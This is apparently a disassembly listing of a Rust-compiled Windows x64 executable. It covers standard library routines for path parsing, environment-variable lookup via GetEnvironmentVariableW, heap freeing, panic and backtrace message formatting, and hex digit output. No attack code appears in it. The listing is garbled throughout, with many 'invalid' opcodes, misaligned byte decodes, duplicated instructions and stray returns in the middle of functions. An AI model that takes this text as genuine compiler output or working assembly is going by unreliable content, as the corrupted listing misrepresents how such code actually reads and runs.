lea r8, str.library_std_srcpath.rs
mov rdx, r15
call fcn.1401046e0
lea r8, str.library_std_srcpath.rs
mov rdx, rdi
call fcn.140104660
lea r8, str.library_std_srcpath.rs
mov ecx, 2
mov rdx, rdi
call fcn.140104660
int3
and byte [rax - 0x77], cl
xlatb
mov rsi, rcx
mov rcx, rdx
call case.0x1400d7de1.69
add byte [rax - 0x75], cl
push rdi
or byte [rax + 0x39], cl
ror byte [rdi], 1
xchg edx, esp
add byte [rax], al
invalid
add byte [rax - 0x75], cl
push rdi
or byte [rax + 0x39], cl
ror byte [rdi], 1
xchg edx, esp
add byte [rax], al
add byte [rbx + rcx*4 + 0x17], cl
mov r10, qword [rdi]
mov r10, qword [rdi]
lea rcx, [r10 + rax]
mov r11, rax
movzx r8d, byte [rdi + 0x10]
adc byte [rcx + 0x29], cl
sal dword [rbp + 5], cl
adc byte [rcx + 0x29], cl
sal dword [rbp + 5], cl
xor r9d, r9d
xor ecx, ecx
jmp 0x1400d97d5
inc r11
lea rdi, [rdx + r10]
dec rdi
xor r9d, r9d
cmp r8b, 3
jae 0x1400d97a0
nop word cs:[rax + rax]
invalid
cmp byte [rdi], 0x5c
je case.0x1400d7de1.67
inc r11
dec rdi
cmp r11, 1
add dword [rbp - 0x11], esi
ret
add dword [rbp - 0x11], esi
jmp 0x1400d97d5
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je case.0x1400d7de1.67
cmp ebx, 0x5c
pop rsp
je case.0x1400d7de1.67
inc r11
dec rdi
dec edi
dec edi
cmp r11, 1
jne 0x1400d97a0
invalid
out 0xeb, eax
sbb cl, byte [rcx - 9]
neg r11
add rax, r11
add eax, ebx
jmp 0x1400d97d5
neg r11
add rax, r11
add eax, ebx
add eax, ebx
inc rax
cmp rax, rdx
ja case.0x1400d8f11.45
add r10, rax
mov r9d, 1
mov ecx, 1
mov ecx, 1
mov rcx, r10
ror dword [rax + 0x29], 1
sub rdx, rax
je 0x1400d980e
ret 0x3474
mov al, 9
cmp rdx, 2
je case.0x14001a36d.3467
or dword [rax - 0x7d], ecx
cli
add dh, byte [rsp + rbx + 0x48]
cmp rdx, 1
cmp rdx, 1
add dword [rbp + 0x28], esi
jne 0x1400d9810
cmp byte [rcx], 0x2e
cmp dword [rsi], ebp
jne 0x1400d9810
xor eax, eax
cmp r8b, 3
cmp al, 3
cmp al, 3
setae al
lea eax, [rax + rax*2]
add al, 0x40
add al, 0x40
add eax, 7
jmp 0x1400d9810
cmp byte [rcx], 0x2e
jne 0x1400d9810
cmp byte [rcx + 1], 0x2e
add dword [rsi], ebp
sete al
xor al, 9
jmp 0x1400d9810
mov al, 0xa
or cl, byte [rcx + 1]
ror dword [rcx + rcx*4 + 0xe], 1
mov qword [rsi], r9
add r9, rdx
mov qword [rsi], r9
mov byte [rsi + 8], al
mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea r8, str.library_std_srcpath.rs
mov rcx, rax
call fcn.140104660
scasb al, byte [rdi]
add al, byte [rax]
invalid
add byte [rax - 0x77], cl
shr eax, 0x27
scasb al, byte [rdi]
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov rcx, rax
call fcn.140104660
invalid
scasb al, byte [rdi]
add al, byte [rax]
int3
retf
sbb byte [rsi - 0x3333fffe], ch
int3
int3
int3
rol byte [rcx - 0x80], 0xf8
add dword [rdi + 0x63], esi
invalid
invalid
adc byte [rcx - 0x73], al
push rbx
sti
mov edx, dword [rcx + 8]
xor edx, edx
invalid
add byte [rcx + 0x39], cl
sal byte [rbp + 0x3f], cl
sal byte [rbp + 0x24], 0x44
movzx eax, byte [rcx + 0x10]
lea ecx, [0x140175778]
sal byte [rcx], cl
leave
cmp ebx, edx
mov r12, rcx
xor r13d, r13d
in eax, dx
in eax, dx
nop dword [rax + rax]
cmp word [rcx], 0x3b
je 0x1400d9aa0
add rcx, 2
inc r13
cmp rcx, rax
jne 0x1400d9a80
jmp 0x1400d9ae3
cmp r13, rbx
jne 0x1400d9ac4
mov rcx, r12
mov rdx, rdi
mov qword [rbp - 0x18], r8
mov r8, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcmp
add byte [rbx + rcx*4 + 0x45], cl
invalid
test eax, eax
add byte [rbx + rcx*4 + 0x45], cl
call 0xc41d5b45
je 0x1400d9b77
je 0x1400d9b77
test byte [rbx + 0x49000000], dh
lea edx, [rbp + 1]
lea rdx, [r13 + 1]
lea rcx, [r12 + r13*2]
add rcx, 2
lea rax, [r12 + r15*2]
sub r15, rdx
jne 0x1400d9a72
xor r15d, r15d
cmp r15, rbx
je 0x1400d9af8
dec dword [rcx + 0x39]
fbstp tbyte [rdi + rdx - 0x15]
sub ecx, dword [rcx + rcx*4 - 0x1f]
jmp 0x1400d9b0e
mov rcx, r12
cmp r15, rbx
je 0x1400d9af8
jmp 0x1400d9b0e
cmp edi, ebx
jne 0x1400d9b0e
mov rdx, rdi
cli
mov r15, r8
mov r8, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcmp
mov r8, r15
test eax, eax
je 0x1400d9b77
test r14, r14
je 0x1400d9b1c
cmp word [r8 + r14*2 - 2], 0x3b
je 0x1400d9b3f
cmp r14, qword [rsi]
jne 0x1400d9b31
mov rcx, rsi
call fcn.1400d64e0
mov r8, qword [rsi + 8]
mov eax, dword [rsi + 8]
mov eax, dword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov word [r8 + r14*2], 0x3b
inc r14
mov qword [rsi + 0x10], r14
mov dword [rsi + 0x10], esi
mov rax, qword [rsi]
sub rax, r14
cmp rax, rbx
jae 0x1400d9b60
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.14010c720
mov r8, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rcx, [r8 + r14*2]
mov rdx, rdi
mov r8, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcpy
add al, byte [rax]
add al, byte [rax]
add rbx, r14
mov qword [rsi + 0x10], rbx
mov eax, 1
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
lea eax, [0x140146f68]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140145598]
lea r8, [rbp - 1]
mov edx, 0x2b
call fcn.1401049b0
ud2
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
call fcn.140104b10
scasd eax, dword [rdi]
add al, byte [rax]
scasd eax, dword [rdi]
add al, byte [rax]
int3
in al, dx
lea rbp, [rsp + 0x40]
mov rsi, rdx
mov esi, edx
mov esi, edx
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x18], ecx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x6ecf7
sub byte [rax - 0x73], cl
adc eax, 0x6ecf7
mov r8d, 0xf
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
jne 0x1400d9c06
add bh, bh
push rax
sbb byte [rax - 0x77], cl
jne 0x1400d9c06
mov byte [rbp], al
mov qword [rbp - 0x10], 0
mov byte [rbp + 1], 0
lea r8, [0x1401457d0]
lea eax, [0x1401457d0]
add eax, 0x6bbac
add eax, 0x6bbac
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x18]
call fcn.140016520
mov rcx, qword [rbp - 0x10]
movzx edx, byte [rbp]
test rcx, rcx
je 0x1400d9c94
mov al, 1
test dl, dl
jne 0x1400d9c96
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d9c7a
cmp byte [rbp + 1], 0
je 0x1400d9c7a
test byte [rsi + 0x34], 4
jne 0x1400d9c7a
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str._____
lea edx, str._____
lea edx, str._____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400d9c96
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a1c8]
sub byte [rax - 0x73], r9b
adc eax, 0x7053f
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d9c96
mov eax, edx
test al, al
setne al
add rsp, 0x48
add esp, 0x48
pop rsi
pop rbp
ret
int3
mov rsi, rcx
lea rcx, [rbp - 0x60]
call fcn.1400d6140
mov rax, qword [rbp - 0x60]
movabs rdi, 0x8000000000000000
cmp rax, rdi
jne 0x1400d9d06
lea rcx, [rbp - 0x58]
call fcn.1400d49e0
invalid
dec dword [rax - 0x77]
notrack jmp 0x1400d9f57
invalid
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x3f0], rax
lock add eax, dword [rax]
add byte [rax - 0x75], cl
test al, 0x48
mov dword [rbp + 0x400], eax
test dword [rax], eax
add al, 0
invalid
lock add eax, dword [rax]
add byte [rax - 0x75], cl
test al, 0x48
mov dword [rbp + 0x400], eax
test dword [rax], eax
add al, 0
invalid
test dword [rax], eax
add al, 0
add byte [rax - 0x39], cl
test dword [rax], ecx
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x410], 2
mov qword [rbp + 0x418], 0
mov r8d, 0x200
mov qword [rbp + 0x408], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x410], 2
mov qword [rbp + 0x418], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r14d, r14d
cmp r8, 0x201
jae 0x1400d9d90
jmp 0x1400d9d7f
jae 0x1400d9e56
cmp r8, 0x201
jae 0x1400d9d90
mov r15d, 0x200
lea r12, [rbp - 0x60]
mov r13, r8
jmp 0x1400d9de8
sub r8, r14
sub rbx, r14
cmp rbx, r8
ret
jae 0x1400d9dbf
ret
lea rcx, [rbp + 0x408]
mov rdx, r14
call fcn.14010c720
mov rdi, qword [rbp + 0x408]
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rdi, rax
mov r14d, 0xffffffff
cmovb r14, rdi
mov qword [rbp + 0x418], r14
mov rbx, rdi
mov r15, r14
mov r12, qword [rbp + 0x3e8]
mov r13, r14
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x400]
mov rdx, r12
mov r8d, r13d
call qword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov esi, eax
test eax, eax
jne 0x1400d9e17
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x1400d9edb
mov r8d, esi
cmp r13, r8
jne 0x1400d9d70
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400d9f6c
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x1400d9d7f
jmp 0x1400d9d90
cmp r15, r8
jb 0x1400d9f86
lea rcx, [rbp + 0x3a0]
mov rdx, r12
call fcn.1400d8450
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
cmp qword [rbp + 0x408], 0
je 0x1400d9eaa
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x14017d208]
xor edx, edx
sar bh, cl
adc eax, 0x35556
movabs rsi, 0x8000000000000000
cmp qword [rbp + 0x3c0], rsi
mov rax, qword [rbp + 0x3f8]
je 0x1400d9f28
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmm1, xmmword [rbp + 0x3d0]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
jmp 0x1400d9f37
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c8], rax
movabs rsi, 0x8000000000000000
mov qword [rbp + 0x3c0], rsi
cmp qword [rbp + 0x408], 0
je 0x1400d9f21
mov r8, qword [rbp + 0x410]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x3f8]
mov qword [rax], rsi
lea rcx, [rbp + 0x3c8]
call fcn.1400d49e0
cmp qword [rbp + 0x3f0], 0
je 0x1400d9f57
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x400]
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
push rsp
add eax, dword [rax]
test eax, 0x90000354
nop
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.1401046f0
jmp 0x1400d9f9b
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r15
mov r8, rax
mov eax, eax
call fcn.1401046e0
ud2
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3f0
add byte [rsi + rdx + 0x48], dh
je 0x1400da02c
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x400]
add byte [rax], al
je 0x1400da02c
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub esp, 0x50
lea rbp, [rsp + 0x50]
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
ror dword [rax - 1], 0xc1
ror dword [rax - 1], 0xc1
je case.0x1400aadb0.816
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
retf 0xb849
xchg rdx, rax
and al, 0x49
xchg edx, eax
and al, 0x49
add dh, byte [rcx]
ror byte [rcx + rdi - 0x3f], cl
setb dl
retf 0xb849
retf 0xb849
cmp rcx, 5
mov edi, 4
cmovae rdi, rcx
imul r8, rdi, 0x38
shl edx, 3
test rax, rax
je 0x1400da0a7
mov rcx, qword [rsi + 8]
imul rax, rax, 0x38
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x20], rax
mov eax, 8
jmp 0x1400da0a9
xor eax, eax
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
shr al, 1
out 0x9c, al
invalid
dec dword [rax - 0x7d]
cmp dword [rbp - 0x18], 0
cmp dword [rbp - 0x18], 0
jne 0x1400da0db
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.140104360
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.140104360
js 0x1400da088
add al, byte [rax]
int3
js 0x1400da088
clc
add byte [rax], al
add byte [rax - 0x73], cl
lea ebp, [rsp + 0x80]
mov rbx, qword [rcx]
mov rsi, qword [rcx + 8]
lea ebp, [rsp + 0x80]
mov rbx, qword [rcx]
mov rsi, qword [rcx + 8]
mov qword [rbp - 0x58], rdx
push rbp
test al, 0x48
test edx, edx
push rbp
test al, 0x48
test edx, edx
jne 0x1400da12f
cmp byte [rbx + 0x20], 0
jne 0x1400da12f
inc rsi
mov qword [rcx + 8], rsi
xor eax, eax
jmp 0x1400da4be
mov r15, r8
mov r14, r9
invalid
mov rdi, rcx
invalid
mov rax, qword [rbx]
test rsi, rsi
test esi, esi
test esi, esi
je 0x1400da1f2
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str.
mov r8d, 6
mov eax, 6
mov eax, 6
add bh, bh
push rax
sbb byte [rax + rax*8 + 0x358850f], al
test al, al
jne 0x1400da4bc
call qword [rax + 0x18]
test al, al
jne 0x1400da4bc
cmp byte [rbx + 0x20], 1
jne 0x1400da323
add byte [rax], al
mov rax, qword [rbx]
lea rcx, [0x14016f7a8]
mov qword [rbp - 0x40], rcx
lea rdx, [0x140013900]
mov qword [rbp - 0x38], rdx
lea rdx, [0x140146e18]
invalid
add byte [rax - 0x77], cl
push rbp
ror byte [rax - 0x73], 1
adc eax, 0xfff38ad7
mov qword [rbp - 0x28], rdx
fmul dword [rax - 0x39]
lock add al, byte [rax]
add byte [rax], al
invalid
fmul dword [rax - 0x39]
lock add al, byte [rax]
add byte [rax], al
mov qword [rbp], 1
mov qword [rbp + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
sbb byte [rax], ah
add byte [rax], al
add dh, al
and byte [r11], r8b
add byte [rax - 0x39], cl
or byte [r9], r8b
or byte [rcx], al
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
sbb byte [rax], ah
sbb byte [rax], ah
add byte [rax], al
add dh, al
and byte [r11], r8b
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
add qword [rax], rax
add byte [rax], al
add qword [rax], rax
add byte [rax], al
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 1
push 1
push 1
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
jmp 0x1400da302
add byte [rax], al
add byte [rax], al
lea rcx, [rbx + 0x18]
mov qword [rbp - 0x40], rcx
lea rcx, [fcn.140012c90]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x10], 2
lock add al, byte [rax]
add byte [rax], al
sbb byte [r8 - 0x77], cl
ror byte [r8 - 0x73], 0xd
invalid
lock add al, byte [rax]
add byte [rax], al
mov qword [rbp], 0
mov qword [rbp + 8], 4
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
and byte [r11], r8b
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
and byte [r11], r8b
lea rcx, [0x140146dc0]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 2
add al, byte [rax]
add byte [rax], al
lea r12, [rbp - 0x10]
mov qword [rbp + 0x60], r12
retf
mov qword [rbp + 0x68], 1
lea r13, [rbp - 0x40]
lea ebp, [rbp - 0x40]
lea ebp, [rbp - 0x40]
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013960
test al, al
jne 0x1400da4bc
cmp byte [rbx + 0x20], 1
jne 0x1400da323
mov rax, qword [rbx]
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x40], rcx
ror byte [r8 - 0x73], 0xd
out 3, eax
add byte [rax], al
ror byte [r8 - 0x73], 0xd
out 3, eax
add byte [rax], al
mov qword [rbp - 0x38], rcx
lea rcx, [0x140146e08]
mov qword [rbp - 0x30], rcx
lea rcx, [0x140012c70]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov qword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
lea rcx, [0x140146de8]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 2
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013960
test al, al
jne 0x1400da4bc
cmp dword [r15], 3
je 0x1400da3c1
invalid
xchg esp, eax
add byte [rax], al
invalid
test byte [rax + rax - 0x49f10000], dl
and byte [r11 - 0x7bf0fd08], al
xchg dword [rax], eax
add byte [rax], al
movzx eax, byte [rbx + 0x20]
cmp eax, 2
je 0x1400da3c1
cmp eax, 1
jne 0x1400da3e9
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
add byte [r15], r9b
sub dword [rbp - 0x10], eax
add byte [r15], r9b
sub dword [rbp - 0x10], eax
mov rax, qword [rbx]
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x40], rcx
lea rcx, [0x1400d79f0]
mov qword [rbp - 0x38], rcx
lea rcx, [0x14016f7a8]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
mov qword [rbp + 0x60], 0
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
jmp 0x1400da494
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146891]
mov r8d, 9
call qword [rax + 0x18]
test al, al
je 0x1400da49d
jmp 0x1400da4bc
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
mov rax, qword [rbx]
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x50], rcx
lea rcx, [0x1400d79f0]
mov qword [rbp - 0x48], rcx
mov qword [rbp + 0x40], 2
mov qword [rbp + 0x50], 2
mov qword [rbp + 0x60], 0
movabs rcx, 0x400000020
add byte [rax + rax], al
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
mov qword [rbp + 0x68], rcx
mov byte [rbp + 0x70], 3
lea rcx, [0x14016f7a8]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], 1
lea rcx, [rbp + 0x40]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], 1
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp - 0x40]
call fcn.140013960
test al, al
jne 0x1400da4bc
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str._nlibrary_std_src_rt.rs
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x1400da4d2
mov al, 1
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp dword [rbp + 0xe0], 1
mov rcx, rdi
jne 0x1400da121
mov rax, r14
mov rax, qword [r14]
cmp eax, 2
je 0x1400da121
mov eax, dword [rbp + 0xe8]
mov dword [rbp - 0x50], eax
cmp byte [rbx + 0x20], 1
jne 0x1400da5a4
mov rax, qword [rbx]
lea rcx, [0x14016f7a8]
mov qword [rbp - 0x40], rcx
lea rdx, [0x140013900]
dec dword [rax - 0x77]
push rbp
enter 0xffffffffffff8d48, 0x15
in al, 0xc8
invalid
add byte [rax - 0x77], cl
push rbp
ror byte [rax - 0x73], 1
adc eax, 0xfff38741
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov qword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov dword [rbp + 0x60], ecx
dec dword [rax - 0x77]
push rbp
enter 0xffffffffffff8d48, 0x15
in al, 0xc8
invalid
mov dword [rbp + 0x60], ecx
mov qword [rbp + 0x68], 1
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.140013960
test al, al
jne 0x1400da4bc
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str._____________at_library_std_src...._backtrace_srcdbghelp.rs
mov r8d, 0x10
call qword [rax + 0x18]
test al, al
jne 0x1400da4bc
mov rcx, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
mov rdx, qword [rbx]
mov qword [rbp - 0x10], rdx
lea r8, [rbp - 8]
movups xmm0, xmmword [r14]
movups xmmword [rbp - 8], xmm0
mov r9, qword [r14 + 0x10]
mov qword [rbp + 8], r9
call qword [rax + 0x20]
test al, al
jne 0x1400da4bc
mov rax, qword [rbx]
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x40], rcx
lea rcx, [0x140013ba0]
mov qword [rbp + 0x48], rcx
lea rcx, [0x14016f0f0]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], 1
mov qword [rbp + 0x10], 0
lea rcx, [rbp + 0x40]
mov qword [rbp], rcx
mov qword [rbp + 8], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp - 0x10]
call fcn.140013960
test al, al
jne 0x1400da4bc
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x6b297
mov r8d, 1
call qword [rax + 0x18]
push rax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
mov rcx, rdi
je 0x1400da121
invalid
jmp 0x1400da4be
mov dword [rsi], 1
mov qword [rsi + 8], 0x12
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
mov rdx, rax
ret 0x1f0f
nop dword [rax + rax]
mov rcx, r8
shr rdx, 4
mov r8d, eax
and r8b, 0xf
lea r9d, [r8 + 0x30]
lea r10d, [r8 + 0x57]
lea edx, [rax + 0x57]
lea edx, [rax + 0x57]
push rax
push rdi
cmp r8b, 0xa
movzx r8d, r9b
movzx r9d, r10b
cmovb r9d, r8d
mov byte [rbp + rcx - 0x52], r9b
lea r8, [rcx - 1]
cmp rax, 0x10
cmp eax, 0x10
mov rax, rdx
jae 0x1400da6e0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400da76b
mov eax, 0x81
sub rax, r8
sub eax, eax
ror byte [rax + 1], 0xe9
ror byte [rax + 1], 0xe9
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
sub byte [rax - 0x77], cl
and al, 0x20
lea r8, [0x14016ee80]
mov r9d, 2
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov dl, 1
call fcn.140012db0
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rbp + 0x30]
xor byte [rax - 0x7f], cl
invalid
rol byte [rax], 0
add byte [rdi + 0x5e], bl
pop rbp
ret
xor byte [rax - 0x7f], cl
invalid
lea r8, [0x1401111f8]
mov edx, 0x80
call fcn.140104660
int3
leave
movabs r10, 0x8000000000000000
cmp qword [rcx], r10
cmovne r9, rcx
mov rcx, rdx
mov rdx, rax
pop rbp
jmp fcn.1400d7c90
invalid
invalid
invalid
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10], 0xfffffffffffffffe
adc dh, bh
invalid
invalid
dec dword [rax - 0x75]
add dword [rcx + 0x3e183c1], ecx
lea r8, [0x140175794]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
invalid
adc dh, bh
invalid
mov r9, qword [rax]
mov r8, qword [rax + 8]
mov rcx, rdx
mov rdx, r9
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140013600
shr rax, 0x20
mov dword [rbp + 0xc], eax
lea rsi, [rbp - 0x10]
mov rcx, rsi
mov ecx, esi
mov rdi, rdx
mov edx, eax
call fcn.1400d70b0
invalid
dec dword [rax - 0x77]
jne 0x1400da7ec
lea rax, [0x140010960]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0xc]
lea eax, [rbp + 0xc]
invalid
lea eax, [rbp + 0xc]
mov qword [rbp - 0x20], rax
lea rax, [0x140019830]
mov qword [rbp - 0x18], rax
lea rax, [0x1401460e0]
mov qword [rbp - 0x60], rax
movabs al, byte [0x3a845c748]
movabs al, byte [0x3a845c748]
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov eax, 2
add byte [rax], al
add byte [rax - 0x75], cl
and byte [r8 - 0x75], r9b
push rdi
sub byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0x7d8348fff390eae8]
lock add byte [rdi], cl
invalid
mov al, byte [rax]
add byte [rax], al
mov r8, qword [rbp - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov ebx, eax
